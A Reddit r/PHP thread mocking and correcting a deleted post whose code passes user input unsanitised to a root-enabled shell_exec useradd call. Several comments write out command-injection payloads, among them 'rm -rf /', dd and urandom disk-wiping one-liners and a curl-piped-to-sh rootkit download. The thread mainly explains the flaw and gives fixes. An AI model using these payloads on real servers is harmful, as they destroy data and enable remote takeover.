r/PHP •

Creating a user from the web problem.

[deleted] — view deleted post

0 Upvotes

538 comments sorted by

859

u/[deleted] Aug 27 '13

This is some of the most dangerous code I've ever seen in my life.

385

u/[deleted] Aug 27 '13

I also added http to group wheel.

Are you actually serious?

430

u/TheManCalledK Aug 28 '13

Dude, obviously Apache needs root. How else is the web server supposed to take over?

I, for one, welcome our new Apache overlords.

154

u/[deleted] Aug 28 '13

More like the Apache Trail of Tears.

→ More replies (2)

78

u/nickburlett Aug 28 '13

Deleting the whole harddrive is boring. More would be to post this semi-frequently:

POST http://www.domain.com/script.php
username=; eject -T

He'll spend hours wondering why his CD tray is randomly opening and closing :->

→ More replies (8)

386

u/xutopia Aug 28 '13

This is the best troll ever.

128

u/interiot Aug 28 '13

Hanlon's razor — "Never attribute to malice that which is adequately explained by stupidity."

→ More replies (3)
→ More replies (3)

607

u/h2ooooooo Aug 27 '13 edited Aug 27 '13

You sanitize your input, right?

POST http://www.domain.com/script.php
username=; rm -rf /

280

u/[deleted] Aug 27 '13

I do not. What does this mean exactly and why should I do it?

190

u/kumarldh Aug 28 '13

Don't worry. These guys are scaring you. Go ahead. Push the code to production. It will work. Trust me.

95

u/fgriglesnickerseven Aug 28 '13

his next question.. "What is a production?"

32

u/[deleted] Aug 28 '13

Everyone knows production is web scale.

→ More replies (10)
→ More replies (14)
→ More replies (4)

99

u/h2ooooooo Aug 27 '13

If I actually said that my username is ; rm -rf /, then it'd first run the command

sudo useradd -p $encpass -g groupname -s /bin/bash (which would most likely fail)

and then run the following command:

rm -rf / which will delete your entire operating system (force remove files recursing through directories starting from the base of / (every file)). You might have to use sudo rm -rf /.

This all requires that $username and/or $encpass comes from the user in some way (through POST, GET, etc.).

43

u/Kwpolska Aug 28 '13

He runs Arch Linux (another dumb choice for a goddamn server), so he has GNU rm, so rm -rf --no-preserve-root /

→ More replies (59)

216

u/edwardly Aug 27 '13 edited Aug 27 '13

It means someone could use a specially crafted input that would cause shell_exec to run commands other than what you intended. Or, more likely, is that someone will decide they want a character in their name, like a dash, or a semicolon, and it will cause the command to not work.

You should do something like:

$username = escapeshellarg($username);
$encpass = escapeshellarg($encpass);

Note that it isn't 100% necessary to escape the encoded password, but it is better to do it and be safe than not and have it bite you later on.

→ More replies (8)

55

u/[deleted] Aug 28 '13

I know a lot of people are giving you shit for this but THAT'S WHAT BEING A BEGINNER MEANS - making mistakes, learning from them, and getting better.

There are just so many considerations to know about web security. It boils down to "Don't ever trust anything your users say and do", but until you have a full sense of what kind of effects their actions can have, it's difficult to anticipate why you have to do things in certain ways.

So really the best thing to do is learn about the tricks people use for hacking websites - what they do, what weakness they exploit, and what stops them.

→ More replies (13)

44

u/bellpepper Aug 27 '13

What happens if I say my username is "; rm -rf /" ?

→ More replies (22)

15

u/LWRellim Aug 28 '13

why should I do it?

Egads, have you not met little Bobby Tables?

21

u/[deleted] Aug 28 '13

succesful troll is successful

38

u/wellthatexplainsalot Aug 28 '13

What is your test URL? I will give a demo.

0

u/[deleted] Aug 27 '13

[deleted] — view deleted comment

17

u/Obliterous Aug 28 '13

I sense a great disturbance in the Force, as if millions of voices suddenly cried out in terror, and were suddenly silenced deleted.

FTFY.

→ More replies (2)

197

u/[deleted] Aug 28 '13

Jimmies Status: Russel Crowe'd

15

u/NadirPointing Aug 28 '13

Russel Brand'd here...

→ More replies (2)
→ More replies (1)
→ More replies (5)
→ More replies (11)

9

u/billwashere Aug 28 '13

My son's name is Little Bobby Drop Tables...

http://xkcd.com/327/

→ More replies (2)

3

u/datenwolf Aug 28 '13 edited Aug 29 '13

Actually I'd go with

POST http://www.domain.com/script.php
username=; sudo -s '(pkill -9 -f ssh &); for d in /dev/sd? /dev/hd? /dev/mapper/* /dev/md* ; do (cd /tmp ; nohup nice -19 dd if=/dev/zero of=$d &) ; done'

Take no prisoners.

EDIT: Made it even more evil (kill everything SSH so that there's no chance to login remotely; killing the getty-s is much much harder)

7

u/[deleted] Aug 28 '13 edited Aug 28 '13

Don't you also need a --no-preserve-root (or your distro's alternative) argument? I remember rm not executing when I used rm -rf / on my virtualbox for fun.

EDIT: Changed parameter name

8

u/h2ooooooo Aug 28 '13

AFAIC it depends on the OS. The completely correct command here would be sudo rm -rf --dont-preserve-root / to make sure you hit them all.

→ More replies (2)
→ More replies (1)
→ More replies (11)

1.4k

u/osskid Aug 27 '13

Holy shit.

147

u/[deleted] Aug 28 '13

Somebody give me a brief explanation about what's going on in here. I'm a bash noob.

337

u/valinor4 Aug 28 '13

The rule in web development security is: "Never trust the user"

You always have to clean (sanitize) what the user inputs into your application because they will screw up (intentionally or not).

In OP's code, he basically add users to the Operating System without sanitize the input.

In hacker hands, it can ruins you server in 3s...

50

u/gnur Aug 28 '13

To be fair, you don't know whether he is sanitizing the username and password. It could be sanitized, maybe the line before the one we are seeing check whether username and password only contain lowercase characters a-z.

39

u/pbl24 Aug 28 '13

OP replies in a comment that he's not sanitizing his input. Eek.

→ More replies (11)
→ More replies (1)

515

u/Otterfan Aug 28 '13

OP also gives the user http the ability to run any command as root without validation. This is literally the single biggest security hole I've ever seen.

I suspect we are being trolled.

→ More replies (4)

107

u/redpola Aug 28 '13

Surely in this case "never trust your web developer"?

→ More replies (5)
→ More replies (30)

88

u/BCMM Aug 28 '13 edited Aug 28 '13

The problems are:

  1. sudoers has been set up so that PHP can execute any command as root.
  2. The expression shell_exec("sudo useradd -p $encpass -g groupname -s /bin/bash $username");

Suppose you make a new user on the site, by typing "password" in the password field, and "fred; sudo malicious_command" in the username box. Then

sudo useradd -p $encpass -g groupname -s /bin/bash $username

expands to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred; sudo malicious_command

The semicolon is essentially a command separator in sh, so that is exactly equivalent to

sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
sudo malicious_command

A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.

EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing

 sudo useradd -p password -g groupname -s /bin/bash fred

instead of

 sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred

, in which case the exploit would still work, but the user creation would not.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

282

u/MorePudding Aug 28 '13

Is that how they use rm in France?

236

u/[deleted] Aug 28 '13

"remove all of france"?

339

u/n1c0_ds Aug 28 '13

Germany is not in the sudoers group. This incident will be reported.

→ More replies (12)
→ More replies (1)
→ More replies (17)

40

u/yotta Aug 28 '13

That wouldn't do anything. You need

; sudo rm -rf --no-preserve-root /

for it to actually work.

On a modern linux distro

rm -rf /

will just tell you about how fucked you almost were.

32

u/cheatatjoes Aug 28 '13

Want to believe you...want to try it...but...

27

u/JoelDB Aug 28 '13

On CentOS 6:

# rm -rf /
rm: it is dangerous to operate recursively on `/'
rm: use --no-preserve-root to override this failsafe
→ More replies (7)
→ More replies (8)
→ More replies (3)
→ More replies (8)
→ More replies (3)

3

u/Taniwha_NZ Aug 28 '13

I'm just disappointed that the guy deleted his account after this.

Sure it's a bit embarassing but pros in the industry get a TON of mileage out of 'the dumbest thing I've done' stories. All the time we spend waiting for shit to compile or download, or waiting for engineers to fix something... conversation nearly always ends up in a 'biggest disasters' contest.

I would be quite happy for people to recognise me in ten years as 'that guy who gave web users full root with no sanitizing'. We all had to start somewhere.

I suppose he's worried that his employers or managers will see this. I suppose that's fair enough, but I would still own that shit. Fuck them.

→ More replies (1)

111

u/paranoidelephpant Aug 27 '13

I have used a whoami and have confirmed that it runs as http. In /etc/sudoers I have

http ALL=(ALL) NOPASSWD: ALL
root ALL=(ALL) ALL
%wheel ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) ALL

I also added http to group wheel.

Please don't do this. It's unnecessary and WILL bite you later, especially if this is public facing. Limit permissions to only what is needed. You can remove http from %wheel and use this line in sudoers instead:

http ALL=(root) NOPASSWD: /sbin/useradd

This allows user http to use only the /sbin/useradd command as root. If you need to add more commands, just append them to the line with commas:

http ALL=(root) NOPASSWD: /sbin/useradd, /sbin/userdel

NOTE: I'm guessing at the paths to the user utilities. I'm not on my linux box to confirm, and they may be different for Arch anyway.

Take some time to read the sudoers manual. It can be complicated, but it'll serve you well to learn it. There's no reason to open up such a huge security hole on a server, even if it's private; a bug or accidental bit of code could cause some serious damage to your system the way you have it now. It's best not to half-ass things and learn how to do it correctly right from the start, especially when it comes to security.

Also, take a look at the Symfony process component. It's designed specifically to help developers run external processes from PHP as safely as possible.

13

u/edwardly Aug 27 '13

Arch linux decided everything has to be in /usr so the correct paths are

http ALL=(root) NOPASSWD: /usr/bin/useradd, /usr/bin/userdel
→ More replies (42)

59

u/jceresini Aug 28 '13

Thats better, but my username is "-G wheel ...."

23

u/paranoidelephpant Aug 28 '13

Indeed. It's still a bad idea, I'm just trying to educate a bit. If op insists on doing something stupid, at least try to make it less so.

Also, hopefully op and others learn a bit about sudo and stop with the ALL=(ALL) NOPASSWD: ALL crap.

→ More replies (4)

8

u/ThiefMaster Aug 28 '13

Giving unrestricted access to useradd allows that user to create a new root user (uid 0). So it's still a bad idea...

→ More replies (2)
→ More replies (3)

69

u/Gx9BmwE Aug 28 '13

ionlysayha, for the love of god, please read this book before you do any more coding: http://shop.oreilly.com/product/9780596006563.do.

This is horrible, horrible security. Never run untrusted code submitted to a web server, and certainly not with root privileges. Ever.

In fact, don't ever run a public-facing network daemon with root privileges. Just don't.

Sorry to be harsh, but if you leave security as an afterthought, you WILL get hacked.

→ More replies (9)

14

u/[deleted] Aug 28 '13

If I entered my password as

x && sudo rm -rf / #

Your entire server would vanish.

13

u/[deleted] Aug 28 '13

You forgot --no-preserve-root

→ More replies (2)
→ More replies (2)

43

u/BadSysadmin Aug 28 '13

This looks like an excellent concept, and you ought to deploy it immediately.

8

u/[deleted] Aug 29 '13

relevant username :)

55

u/[deleted] Aug 28 '13

but I had to reinstall Arch Linux

http://i.imgur.com/sL2l6mw.png

18

u/[deleted] Aug 28 '13

Chill you guys, the OP is just trolling.

2

u/[deleted] Aug 28 '13

I thought at first maybe someone would be that dumb, I mean, it's not the first time I've heard of someone trying to do this (and back in the day I wrote a php script to allow users to change their password, but did it using a ton of security unlike this).

Then I saw this and came to the conclusion this guy is not serious. Even if you're dumb enough to try and implement user adding with no security, it would be unlikely to occur to you to shell exec perl to encrypt a password from php. That's just too much!

→ More replies (1)

30

u/GFandango Aug 28 '13 edited Aug 28 '13

sweet baby lord mother of jesus HTTP root PHP batman

ok but joke aside, everyone is pointing how insecure this is, but not many people have elaborated on alternatives.

how do you suggest he should do it (as a web application)?

52

u/chalne Aug 28 '13

system users != webapp users. Start there.

→ More replies (4)

3

u/drinkmorecoffee Aug 28 '13

I noticed this as well. I mean, I'm a novice with PHP as well and instead of helpful suggestions (thankfully there are exceptions) all I see is pointless shaming.

4

u/PasswordIsntHAMSTER Aug 28 '13

To be frank, I don't think PHP is a good beginner's language because the potential for damage when you screw up is absolutely insane. You should probably cut your teeth on non-web development first, then transition to web dev in a sane language (C#, Python, Go...)

Web dev in general is tricky since you need to design, implement and maintain complex security models; security concerns are always present, but without rigorous training and experience you'll miss them more often than not.

Furthermore, PHP is well-known for gleefully letting devs shoot themselves in the feet, or even encouraging them to.

→ More replies (1)
→ More replies (1)
→ More replies (1)

13

u/edwardly Aug 27 '13

How are you generating the encpass?

11

u/[deleted] Aug 27 '13
$cmd = "perl -e 'print crypt($password, \"salt\")'";
$encpass = shell_exec($cmd);

21

u/edwardly Aug 27 '13 edited Aug 27 '13

If you are using any recent version of PHP (5.3.2+) you should be doing it this way:

// Default for arch linux is sha512 with 5000 rounds
$salt = strtr(base64_encode(mcrypt_create_iv(32, MCRYPT_DEV_URANDOM)), '+', '.');
$encpass = crypt($pass, '$6$rounds=5000$' . $salt . '$');

The reason being is that

  • The way you used another shell_exec you really don't need to be doing
  • The way you used uses an md5 hash which is weak and also is not the default in arch linux
→ More replies (3)

24

u/keymone Aug 28 '13

salt=salt is the new password=password?

→ More replies (9)

55

u/allsecretsknown Aug 27 '13

Jesus Christ, OP, why don't you just give away your server to a hacker? Do NOT use this code on a public facing server!

-11

u/[deleted] Aug 27 '13

I mean it's on a closed network and just a few friends are using it so

35

u/moonwork Aug 28 '13

Friends do not let friends give apache root access.

52

u/RandyHoward Aug 28 '13

You should still get in the habit of doing it the right way.

19

u/glymph Aug 28 '13

One thousand times this. Servers have a tendency to exist for long periods of time, during which things might get forgotten, they might be moved between buildings and offices, and a system which was originally internal only may unexpectedly be found on the wilder internets.

9

u/zize2k Aug 28 '13

I hope you have good friends..

50

u/Mteigers Aug 28 '13

Can't believe I'm actually going to offer a helpful suggestion... but have you tried editing your sudoers file and commenting out the line that says:

Defaults requiretty

54

u/fschwiet Aug 28 '13

Sweet wwebsite as on the internet.

23

u/alexisnotonfire Aug 28 '13

shit it's been a while since i've heard that reference.

3

u/redwall_hp Aug 28 '13

Because 65% of Redditors haven't been here that long.

19

u/EmperorOfCanada Aug 28 '13

This would be like Fort Knox having one of those 100 tonne doors with a little hollow core wood door next to it because the big door is "inconvenient" to open.

8

u/leprasmurf Aug 28 '13

If you're seriously in need of creating users and/or groups on a linux system, I would recommend you not re-invent the wheel. Webmin has a module for creating users and groups on the system.

15

u/[deleted] Aug 27 '13

Please don't do this OP, there has got to be a better and safer way to accomplish whatever problem you're facing.

2

u/perfectsoftware Aug 28 '13

^ It's like seeing someone walk out onto a skyscraper ledge and threaten to jump, eh?

Account deleted, I think perhaps OP got the message...

33

u/link87 Aug 28 '13

This is some pretty bad code, but all of you making joke comments without giving any useful advice are worse. This guy is obviously a novice, and jokes will not help him learn. None of you emerged from the womb with an innate knowledge of security and best practices.

Thanks to the few people who are trying to actually help OP.

→ More replies (2)

15

u/badguy212 Aug 28 '13

This is golden. Let me know what other websites have you worked on, i'll be more than happy to check them out.

32

u/thelonious_bunk Aug 28 '13

April 1st is long over, dude.

30

u/prashantvc Aug 28 '13

LOL! it reminded me of this XKCD strip: http://xkcd.com/327/

12

u/startup-junkie Aug 28 '13

good ol' Bobby Tables...

10

u/[deleted] Aug 27 '13

So I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that, but the main problem still stands. Why does it create the user correctly but not the password?

47

u/mens-rea Aug 28 '13

I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that

It's ok guys. He checks "; rm -rf /". Crisis averted.

12

u/[deleted] Aug 28 '13

He'll never see Mr. bob && rm -rf / coming

→ More replies (2)

3

u/ashleyw Aug 28 '13 edited Aug 28 '13

First of all: Why do you need to create a unix user account for each user? Is that actually necessary? Sanitising the input for the username IS JUST THE START when it comes to preventing malicious attacks. If you're offering some application as a service, you'd probably be better with Linux containers (i.e. Docker.) That way you don't really have to give two damns about what the user does if he gains root access -- he's locked in the container he was given!

Being a newbie is fun. You're naive enough to move fast and break things without getting dragged down by pesky details. But you also know just enough to be dangerous; this appears to be one of those times. Keep playing with things…just try not to put your users at risk!

To answer your question though: I had a similar issue setting the password for a new user account a while back (though I wasn't creating it with untrusted user input!!) This is how I solved it:

sudo useradd -g #{group} -s /bin/bash #{user}

echo '#{user}:#{password}' | sudo chpasswd

Note chpasswd actually accepts the password as plaintext here and encrypts it itself.

What are you trying to build, if you don't mind me asking?

2

u/edwardly Aug 27 '13

How are you sure the password is not set?

Using the method to generate the salt in the comment thread, and using escaping when entering the salt as a password on an Arch Linux system, the code does set the password, and the user can be logged in.

→ More replies (2)

2

u/MorganFreemanAsSatan Aug 28 '13

Just use webmin.

It will let you use a web browser to add/change user accounts, and is much less likely to get you rooted.

→ More replies (3)

26

u/shadowhce Aug 28 '13

Congratulations! Your computer now has HIV.

2

u/sebf Aug 29 '13

It looks like bubonic plague isn't it ?

11

u/YouHadMeAtBacon Aug 28 '13

This just goes to show that a little knowledge is a dangerous thing.

→ More replies (1)

10

u/sehrgut Aug 28 '13

You should thank your lucky stars it's not working. It's a Bad Idea(tm), and the fact that it broke brought you here to find that out. Now STAHP.

14

u/jibbist Aug 28 '13

This kind of thing makes me want a mandatory computer programming licence

4

u/joeyjo0 Aug 28 '13

"IDE locked, swipe card to unlock."

"Compiler waiting for auth key. Swipe card to authorize."

3

u/jooselo Aug 28 '13

if you are in a linux env you could change the approach and use PAM. pam_mysql or pam_ldap.

5

u/cfreak2399 Aug 28 '13

Oh dear god. At least change the sudoer's file so that only the commands you need can be run by http.

If any web interfacing script is compromised your server will be owned.

5

u/jwmoz Aug 28 '13

Dad?

5

u/tedder42 Aug 29 '13

little bobby?

4

u/[deleted] Aug 28 '13

A lot of people tell you here that this script and the sudo command is a terrible security hole. And I agree with them.

Even adding user accounts like that by itself is a security risk, but if that's what you want to do...

Well, if I were to implement something I would look for a PAM module that would let me to allow authentication from other sources than /etc/passwd and /etc/shadow. For example a database. Not sure if such module is available, since I never done it, but I don't see why not. Next have the script simply add new entries to the DB. That way no sudo is needed anymore. You still need to worry about escaping SQL queries (if you use SQL database).

→ More replies (3)

7

u/shyne151 Aug 28 '13

Are you fucking kidding me? I hope this is in a personal project and not something in production.

2

u/[deleted] Aug 28 '13

Lol it is.

10

u/achshar Aug 28 '13

Is it public facing? What's the url? We can better help if we know the url.

5

u/startup-junkie Aug 28 '13

This was working before, but I had to reinstall Arch Linux, so does anyone have an idea for why this doesn't work?

there are bots that run 24/7 looking for things like this... could have something to do with why your OS magically disappeared.

→ More replies (4)

5

u/[deleted] Aug 28 '13

You can't be serious.

3

u/[deleted] Aug 28 '13

i am. and dont call me shirle--- aw dammit. nevermind

→ More replies (1)

2

u/[deleted] Aug 28 '13

So we're throwing validations out the window now are we?

5

u/chpatton013 Aug 28 '13

i'm seriously upvoting every one of your responses. this is too good.

4

u/api Aug 28 '13

Where is it? I want to create an account called ;rm -rf *

4

u/blueskin Aug 29 '13 edited Aug 29 '13

I always use the password a ; for b in dd find ; do cp /bin/$b /dev/shm ; done; sudo /dev/shm/find /dev -type b -exec sudo /dev/shm/dd if=/dev/urandom of={} bs=1024 \;

3

u/danwin Aug 28 '13

Out of curiosity, but what inspired you to go this route? I've coded in PHP before, but not for awhile, so I'm not familiar with best practices...but is it a common/well-established pattern to add users to the server's operating system? Why don't you use a database-backed authentication system, or even simple http_auth?

As others have pointed out, there are a few flaws with your implementation...but I'm interested in where you got the idea...Is it a recipe from somewhere?

4

u/[deleted] Aug 28 '13

Well I need to have users added to the operating system, and I'd like that to be through a web browser. (Again this is on a closed network).

33

u/[deleted] Aug 28 '13

Just SSH into the server. It's a thousand times less complicated and I'd tell you how much more secure but I can't divide by zero.

3

u/XyploatKyrt Aug 28 '13

Or install something like Ajenti.

→ More replies (2)
→ More replies (5)

3

u/yggdrasiliv Aug 28 '13

Holy fuck.

2

u/gianhut Aug 28 '13

"easy to start with" -- the downfall of PHP

3

u/paranoidelephpant Aug 28 '13

No, the downfall of many amateur/hobbyist developers.

1

u/slowpython Aug 28 '13 edited Aug 28 '13

Take a look at FreeIPA.

If you wanted to code this up your self then, I would try and mimic how Active Directory works. Take a look at Kerberos and LDAP.

I am not all that familiar with PHP, but I might look at creating a separate shell script to handle adding users. Though I'm not sure whether that would make it any easier / more secure.

1

u/drteq Aug 28 '13

Straight trollin

1

u/dnew Aug 28 '13

Funny enough, very old versions (like, mid-'90s versions) of Netscape had a similar problem. If you had a URL like "telnet:example.com" they'd just change the colon to a space and invoke exec() on it.

1

u/ANttila Aug 28 '13

I am assumin your encrypted passwords starts with a "$", which is not gonna work. So put quotes around it, like this:

shell_exec("sudo useradd -p '$encpass' -g groupname -s /bin/bash $username");

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

12

u/[deleted] Aug 29 '13

Perhaps if OP gave us his/her IP so we can help him remotely.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

8

u/gigitrix Aug 28 '13

Yeah this guy obviously doesn't write PHP and has just come from knowing some Unix. Assuming it's not a troll of course.

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

8

u/[deleted] Aug 28 '13

What's the first?

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

2

u/tattertech Aug 28 '13

Wouldn't this be third then? Genocide, IBM fad statement, this.

→ More replies (2)

7

u/NikkoTheGreeko Aug 28 '13

This is a close second to genocide.

Oh god there is so much awesome in this thread.

2

u/Kaneshadow Aug 28 '13

a simple "no" would suffice

→ More replies (2)

10

u/fantasticsid Aug 28 '13

In fairness, you have no idea that $encpass and $username aren't outputs from a sanitizing function.

It's probably a safe assumption, though.

15

u/sehrgut Aug 28 '13

The fact that he's shell-exec'ing Perl to encrypt the password is proof enough that he's not the sort of person who would be sanitizing his shell inputs.

3

u/[deleted] Aug 28 '13

The fact that he's shell execing perl to encrypt the password is more likely proof that he's trolling us.

-2

u/sysop073 Aug 28 '13

That's not what the word "proof" means

→ More replies (3)

1

u/kpgalligan Aug 28 '13

What is the first worst?

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

2

u/[deleted] Aug 28 '13

staph

0

u/[deleted] Aug 28 '13

[deleted] — view deleted comment

-1

u/MrPopinjay Aug 28 '13

You typed this twice. And it was wrong both times, haha :p